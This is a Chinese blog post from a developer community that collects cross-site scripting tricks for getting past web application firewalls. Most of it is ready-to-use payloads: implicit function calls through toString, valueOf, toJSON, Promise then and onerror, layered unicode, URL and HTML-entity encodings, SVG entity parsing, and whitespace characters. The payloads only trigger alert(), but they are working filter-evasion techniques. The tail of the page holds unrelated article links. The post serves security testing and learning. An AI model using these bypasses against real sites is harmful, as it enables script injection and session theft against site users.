前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >XSS那些tricks

XSS那些tricks

原创
作者头像
Deen_
发布于 2020-03-30 15:43:09
发布于 2020-03-30 15:43:09
7780
举报

title: XSS那些tricks


0x00 XSS的WAF防护

最近碰到的两种方式

  1. 字符串匹配,匹配恶意关键字,比较常见。一般手段为正则匹配,绕过可以通过编码,或者注释符,或者浏览器渲染特性进行绕过。
  2. 解析js语法。通过截取指定标签内容,对js进行静态语法树解析,对解析出来的语法树进行遍历,在语法树的各个节点进行hook,在节点进行判断。如函数调用的call expression,若call的字符串为alert,则封禁。

0x01 javascript的隐性调用

在调用某些对象,或者执行某些方法时,会自动隐式的调用某些函数。这里有个缺憾,自动调用的函数是不带参数的,并没有找到可以利用的方法(在空白页面),不同环境下有其他利用方法?

一、toString和valueOf

obj进行值运算时,如==,+,-等,会自动调用toString,或者valueOf方法。

payload:

  • toString=alert;this-1
  • valueOf=alert;this-1

二、JSON对象的toJSON

如果JSON的stringify方法传入的对象有toJSON方法,那么该方法执行的对象会转为toJSON执行后返回的对象。

payload: toJSON=alert;JSON.stringify(this);

三、promise对象的 then

当Promise.resolve方法传入对象时,如果存在 then 方法会立即执行then方法,相当于把方法放入new Promise中,除了Promise.resolve有这个行为外,Promise.all也有这个行为。

payload:

  • then=alert;Promise.resolve(this).then()
  • then=alert;Promise.all([this]).then()

四、thow和onerror

payload: <script>onerror=alert;throw 1</script>

0x02 编码

先知道哪些标签会进行解码,还有组合在一起时的解码顺序,才会知道在绕过时如何进行编码。

  • unicode 编码,形如\u003c。js标签会自动解码。
    • <script>alert(1)</script> => <script>\u0061\u006c\u0065\u0072\u0074(1)</script> (括号及括号内的不可进行unicode16进制编码)
    • <a href="javascript:\u0061\u006c\u0065\u0072\u0074('xss')">test</a>
  • url解码
    • <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">a</a> 先unicode编码再urlencode编码。
    • <a href="javascript:%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074%283%29">a</a>
  • html实体编码
    • <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;">test</a>
    • <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">a</a> 进行编码=> <a href="&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0025;&#x0035;&#x0043;&#x0075;&#x0030;&#x0030;&#x0036;&#x0031;&#x0025;&#x0035;&#x0043;&#x0075;&#x0030;&#x0030;&#x0036;&#x0063;&#x0025;&#x0035;&#x0043;&#x0075;&#x0030;&#x0030;&#x0036;&#x0035;&#x0025;&#x0035;&#x0043;&#x0075;&#x0030;&#x0030;&#x0037;&#x0032;&#x0025;&#x0035;&#x0043;&#x0075;&#x0030;&#x0030;&#x0037;&#x0034;&#x0025;&#x0032;&#x0038;&#x0033;&#x0025;&#x0032;&#x0039;">a</a>
  • 混合编码 1. 原代码 < <a href="javascript:alert('xss')">test</a> 2. 对alert进行JS编码(unicode编码) <a href="javascript:\u0061\u006c\u0065\u0072\u0074('xss')">test</a> 3. 对href标签中的\u0061\u006c\u0065\u0072\u0074进行URL编码 <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34('xss')">test</a> 4. 对href标签中的javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34('xss')进行HTML编码: <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;">test</a>
代码语言:txt
AI代码解释
复制
    1. 对javascript:alert(1)进行HTML编码
    <img src=xxx onerror="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">
    2. 对alert进行JS编码
    <img src=xxx onerror="javascript:\u0061\u006c\u0065\u0072\u0074(1)">
    3. 以上两种方法混用
    <img src=xxx onerror="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;&#x28;&#x31;&#x29;">
  • svg的xml属性

payload: <svg><script>&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;</script>

svg标签后接的scrpt标签,会自动进行一次实体解析。

其实可以混合编码利用:先unicode16进制编码,再实体编码。

代码语言:txt
AI代码解释
复制
1. alert(1)
2. \u0061\u006c\u0065\u0072\u0074(1)
3. &#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0031;&#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0063;&#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0035;&#x005c;&#x0075;&#x0030;&#x0030;&#x0037;&#x0032;&#x005c;&#x0075;&#x0030;&#x0030;&#x0037;&#x0034;&#x0028;&#x0031;&#x0029;
4. <svg><script>&#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0031;&#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0063;&#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0035;&#x005c;&#x0075;&#x0030;&#x0030;&#x0037;&#x0032;&#x005c;&#x0075;&#x0030;&#x0030;&#x0037;&#x0034;&#x0028;&#x0031;&#x0029;</script>

0x03 空白字符

payload从浏览器地址栏到页面上有一次url解码,可以理解为经过了一次unscape函数。

代码语言:txt
AI代码解释
复制
alert=function(i){
console.log(i.toString(16))
};
for(i=0;i<257;i++){
try{eval('alert'+String.fromCharCode(i)+'('+i+')')}catch(e){}}


结果:09 0a 0b 0c  0d  20

payload:<script>%0b%0balert%0b%a%0c(1)</script>

利用条件为从地址栏到页面输出。可以用来绕过waf。

0x04 一些奇奇怪怪的payload

Lol:Function`alert(1)`

!class extends`${alert(1)}`{}

0x05 参考

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
jdk1.8源码阅读ArrayList
   ArrayList的实现原理就是大学数据结构书本中的动态数组原理,初始化一个Object数组,然后对Object数组进行插入,扩容,查找,删除等操作。所以可以看出java引用类型所占内存大小是一样的,Object数组类似于c语言中的void*指针数组,每个指针在64位机器上都占8字节, 在hotspot jvm中java引用类型也是占8字节。所以ArrayList无法存放基本类型,只能存放引用类型。以下分析ArrayList最基础,最常用的操作。
用户4415180
2022/06/23
2070
jdk1.8源码阅读ArrayList
Java集合:ArrayList详解
ArrayList是我们日常中最长用的集合之一,在使用列表时,除非特殊情况,我们一般都会选择使用ArrayList,本文就ArrayList的几个主要方法主要介绍,并结合几个图片来介绍几个重要操作。
Java架构师必看
2021/05/18
5530
Java集合:ArrayList详解
JDK1.8 ArrayList 源码解析
当运行 ArrayList<Integer> list = new ArrayList<>() ; ,因为它没有指定初始容量,所以它调用的是它的无参构造
tanoak
2018/07/26
3920
jdk1.8ArrayList主要方法和扩容机制(源码解析)
ArrayList实现了List接口它是一个可调整大小的数组可以用来存放各种形式的数据。并提供了包括CRUD在内的多种方法可以对数据进行操作但是它不是线程安全的,外ArrayList按照插入的顺序来存放数据。
全栈程序员站长
2022/09/05
3770
jdk1.8ArrayList主要方法和扩容机制(源码解析)
ArrayList源码解析(JDK1.8)
1 package java.util; 2 3 import sun.misc.SharedSecrets; 4 5 import java.util.function.Consumer; 6 import java.util.function.Predicate; 7 import java.util.function.UnaryOperator; 8 9 10 /** 11 * 概述: 12 * List接口可调整大小的数组
武培轩
2018/04/18
8900
jdk源码分析之ArrayList
* The array buffer into which the elements of the ArrayList are stored.
全栈程序员站长
2022/07/15
1640
Java 集合深入理解(7):ArrayList
今天心情有点美丽,学学 ArrayList 放松下吧! 什么是 ArrayList ArrayList 是 Java 集合框架中 List接口 的一个实现类。 可以说 ArrayList 是我们使用最
张拭心 shixinzhang
2018/01/05
8210
Java 集合深入理解(7):ArrayList
Java ArrayList集合常用方法
创建对象:与其他普通的引用数据类型创建方式完全相同,但要指定容器中存储的数据类型:
用户7886150
2020/12/12
3370
聊聊ArrayList源码(基于JDK1.8)
打个广告,楼主自己造的轮子,感兴趣的请点[github]: https://github.com/haifeiWu/lightconf
haifeiWu
2018/09/11
3640
聊聊ArrayList源码(基于JDK1.8)
ArrayList内部原理解析Header源码分析Footer
Header 之前讲了 HashMap 的原理后,今天来看一下 ArrayList 。 ArrayList 也是非常常用的集合类。它是有序的并且可以存储重复元素的。 ArrayList 底层其实就是一个数组,并且会动态扩容的。 源码分析 构造方法 public ArrayList(int initialCapacity) { if (initialCapacity > 0) { // 创建初始容量的数组 this.elementData = new Object[i
俞其荣
2018/05/21
7020
ArrayList底层实现
package java.util; public class ArrayList<E> extends AbstractList<E> implements List<E>, RandomAccess, Cloneable, java.io.Serializable { private static final long serialVersionUID = 8683452581122892189L; /** * 默认的长度 */ priva
用户1215919
2018/02/27
6190
Java源码阅读之ArrayList - JDK1.8
当你对某件事情很感兴趣的时候,时间的流逝在感知中都模糊了(是不是很文艺,绕口得都快听不懂了),通俗来说,就是时间过得很快。
格子Lin
2018/09/30
5030
Java源码阅读之ArrayList - JDK1.8
【Java集合-3】ArrayList简析
ArrayList是一个数组队列,相当于动态数组。与Java中的数组相比,它的容量能动态增长。
云深i不知处
2020/09/16
5290
Java集合篇之深入解析ArrayList,这六问你答的上来吗?
开年第一篇,先祝各位新的一年身体健康,学业有成,事业有成哈,春节期间就是咔咔乱吃,咔咔乱玩,把学习都抛一边子去了,已经9天没有学习了,深深的懊悔,从今天开始,2024年的学习正式开启,一起给我猛冲!!!书接上回,我们开启了Java集合部分的学习,今天我们就来看一下List,其中它的核心有两个,一个ArrayList,一个LinkedList,而ArrayList的使用频率在集合中至少排第二,可以和HashMap掰掰手腕子!盘点Java集合(容器)概览,Collection和Map在开发中谁用的最多?
JavaBuild
2024/05/27
1420
Java集合篇之深入解析ArrayList,这六问你答的上来吗?
死磕 Java集合之ArrayList源码分析
ArrayList是一种以数组实现的List,与数组相比,它具有动态扩展的能力,因此也可称之为动态数组。
彤哥
2019/07/08
4930
死磕 Java集合之ArrayList源码分析
《JavaSE-第十六章》之ArrayList源码与扩容机制
ArrayList底层是一个Object数组,而数组在内存是连续的空间,所以使用ArrayList存储的元素与添加时的顺序是一致的,每一个ArrayList都有一个容量大小,当添加的元素数量大于该数组的容量时,ArrayList会自动扩容。
用户10517932
2023/10/07
2060
《JavaSE-第十六章》之ArrayList源码与扩容机制
ArrayList源码学习
ArrayList是一种以数组实现的列表,而数组的优势在于有角标,因此查询的速度较快,是一种可以动态扩容的数组。我们着重了解添加、获取、替换、删除操作。
路行的亚洲
2020/07/17
4420
JAVA集合之ArrayList源码分析
ArrayList是我们开发中非常常用的数据存储容器之一,其底层是数组实现的,我们可以在集合中存储任意类型的数据,ArrayList是线程不安全的,非常适合用于对元素进行查找,效率非常高,且它的时间复杂度为o(1)
黎明大大
2021/03/25
2760
JAVA集合之ArrayList源码分析
ArrayList源码解析
学Java很久了,一直处于使用API+查API的状态,不了解原理,久而久之总是觉得很虚,作为一名合格的程序员这是不允许的,不能一直当API Player,我们要去了解分析底层实现,下次在使用时才能知己知彼.知道在什么时候该用什么方法和什么类比较合适.
潇风寒月
2023/02/24
5260
ArrayList
  ArrayList 的底层是数组队列,相当于动态数组。与 Java 中的数组相比,它的容量能动态增长。在添加大量元素前,应用程序可以使用ensureCapacity操作来增加 ArrayList 实例的容量。这可以减少递增式再分配的数量。
后端码匠
2019/09/30
1.2K0
相关推荐
jdk1.8源码阅读ArrayList
更多 >
LV.1
这个人很懒,什么都没有留下~
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档